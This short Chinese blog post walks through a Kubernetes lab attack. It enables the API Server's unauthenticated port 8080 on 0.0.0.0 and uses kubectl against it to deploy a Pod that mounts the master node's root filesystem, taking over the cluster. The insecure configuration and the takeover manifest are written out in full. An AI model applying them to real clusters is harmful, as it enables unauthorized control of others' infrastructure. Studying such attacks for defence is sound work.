K8s攻击案例: API Server未授权访问

API Server 是集群的管理入口,任何资源请求或调用都是通过kube-apiserver提供的接口进行。默认情况下,API Server提供两个端口服务,8080和6443,配置不当将出现未授权访问。

8080端口,默认不启动,无需认证和授权检查,一旦暴露将导致未授权访问。

6443端口,默认启动需要认证,如果出现配置错误,将system:anonymous用户绑定到cluster-admin用户组,将出现未授权访问。

(1)攻击场景

insecure-port默认值为0,将其修改为8080端口,再添加insecure-bind-address=0.0.0.0,允许远程访问本地的8080端口。

vi /etc/kubernetes/manifests/kube-apiserver.yaml

  - --insecure-port=8080
  - --insecure-bind-address=0.0.0.0

修改kube-apiserver.yaml文件:

无需启动,等待一会以后,8080服务自动起来了,通过浏览器可以访问8080端口返回API列表。

 

(2)攻击过程

未授权访问的情况下,kubectl可以使用-s参数指定Kubernetes API服务器地址和端口,直接执行命令创建恶意Pod,将其挂载到Master节点,从而实现对整个集群的接管。

 yaml文件内容:

apiVersion: v1
kind: Pod
metadata:
  name: pod123
spec:
  nodeName: k8s-master
  containers:
  - image: nginx:1.20
    name: pod123
    volumeMounts:
    - mountPath: /data
      name: data
  volumes:
  - name: data
    hostPath:
      path: /

 

posted @ 2024-01-02 09:07  Bypass  阅读(172)  评论(0编辑  收藏  举报